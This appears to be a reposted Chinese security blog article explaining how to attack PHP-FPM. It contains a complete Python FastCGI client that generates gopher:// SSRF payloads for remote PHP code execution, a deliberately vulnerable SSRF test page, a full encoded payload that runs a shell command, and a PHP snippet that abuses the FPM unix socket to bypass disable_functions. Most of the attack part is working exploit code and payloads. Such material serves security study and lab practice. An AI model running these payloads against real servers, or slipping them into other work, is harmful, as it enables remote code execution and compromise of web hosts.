看了网上一些文章说: PHP-FPM版本 >= 5.3.3

其实是因为php5.3.3之后绑定了php-fpm,然后自己配置是否启动就行了,这个条件没什么很大关系。

即使配置正确,我们依然可以通过结合其他漏洞比如ssrf来攻击本地的php-fpm服务。

这里简单谈下Gopher://协议

URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流

说明gopher协议可以直接发送tcp协议流,那么我们就可以把数据流 urlencode编码构造ssrf攻击代码了

关于怎么修改其实也很简单,看我下面代码注释: (下面脚本兼容python2 and python3)

#!/usr/bin/python
# -*- coding:utf-8 -*-

import socket
import random
import argparse
import sys
from io import BytesIO
from six.moves.urllib import parse as urlparse

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])

def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)

def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')

def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s


class FastCGIClient:
"""A Fast-CGI Client for Python"""

# private
__FCGI_VERSION = 1

__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3

__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11

__FCGI_HEADER_SIZE = 8

# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3

def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()

def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
#return True

def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION)
+ bchr(fcgi_type)
+ bchr((requestid >> 8) & 0xFF)
+ bchr(requestid & 0xFF)
+ bchr((length >> 8) & 0xFF)
+ bchr(length & 0xFF)
+ bchr(0)
+ bchr(0)
+ content
return buf

def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80)
+ bchr((nLen >> 16) & 0xFF)
+ bchr((nLen >> 8) & 0xFF)
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80)
+ bchr((vLen >> 16) & 0xFF)
+ bchr((vLen >> 8) & 0xFF)
+ bchr(vLen & 0xFF)
return record + name + value

def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header

def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))

if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''

if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record

def request(self, nameValuePairs={}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return

requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0)
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER)
+ bchr(self.keepalive)
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)

if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

# 前面都是构造的tcp数据包,下面是发送,所以我们可以直接注释掉下面内容,然后返回request
#self.sock.send(request)
#self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
#self.requests[requestId]['response'] = ''
#return self.__waitForResponse(requestId)
return request

def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf

data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']

def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

args = parser.parse_args()

client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
# 这里调用request,然后返回tcp数据流,所以修改这里url编码一下就好了
#response = client.request(params, content)
#print(force_text(response))
request_ssrf = urlparse.quote(client.request(params, content))
print("gopher://127.0.0.1:" + str(args.port) + "/_" + request_ssrf)

给出ssrf的测试代码如下:

<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>

安装下curl扩展:

sudo apt-get install php7.3-curl

然后在

/etc/php/7.3/fpm/php.ini

去掉 ;extension=curl前面的分号,重启php-fpm即可

然后生成payload直接打就可以了。

http://10.211.55.21/ssrf1.php?url=gopher://127.0.0.1:9000/_%01%01%A7L%00%08%00%00%00%01%00%00%00%00%00%00%01%04%A7L%01%D8%00%00%0E%02CONTENT_LENGTH23%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%16SCRIPT_FILENAME/var/www/html/test.php%0B%16SCRIPT_NAME/var/www/html/test.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%16REQUEST_URI/var/www/html/test.php%01%04%A7L%00%00%00%00%01%05%A7L%00%17%00%00%3C%3Fphp%20echo%20%60id%60%3Bexit%3B%3F%3E%01%05%A7L%00%00%00%00

这里需要在urlencode编码一次,因为这里nginx解码一次,php-fpm解码一次。

ok,成功实现了代码执行。

这里还可以介绍一个ssrf的利用工具的用法: Gopherus

1.python gopherus.py --exploit fastcgi

2.

然后同上进行利用就好了

0x6.3 攻击unix套接字模式下的php-fpm

前面已经说过了unix类似不同进程通过读取和写入/run/php/php7.3-fpm.sock来进行通信

所以必须在同一环境下,通过读取/run/php/php7.3-fpm.sock来进行通信,所以这个没办法远程攻击。

这个利用可以参考*CTF echohub攻击没有限制的php-fpm来绕过disable_function

攻击流程:

<?php $sock=stream_socket_client('unix:///run/php/php7.3-fpm.sock');
fputs($sock, base64_decode($_POST['A']));
var_dump(fread($sock, 4096));?>

这个原理也很简单就是通过php stream_socket_client建立一个unix socket连接,然后写入tcp流进行通信。

那么这个可不可以进行ssrf攻击呢 答案是否定的,因为他没有经过网络协议层,而ssrf能利用的就是网络协议,具体可以看我上面介绍unix 套接字原理。

当然不排除有些ssrf他也是利用unix套接字建立连接的,如果引用的是php-fpm监听的那个sock文件,那也是可以攻击的,但是这种情况很特殊,基本没有这种写法,欢迎师傅有其他想法跟我交流下。

来源:https://xz.aliyun.com/ 感谢【xq17 

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月21日01:09:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   浅析php-fpm的攻击方式https://cn-sec.com/archives/2322565.html

发表评论

匿名网友 填写信息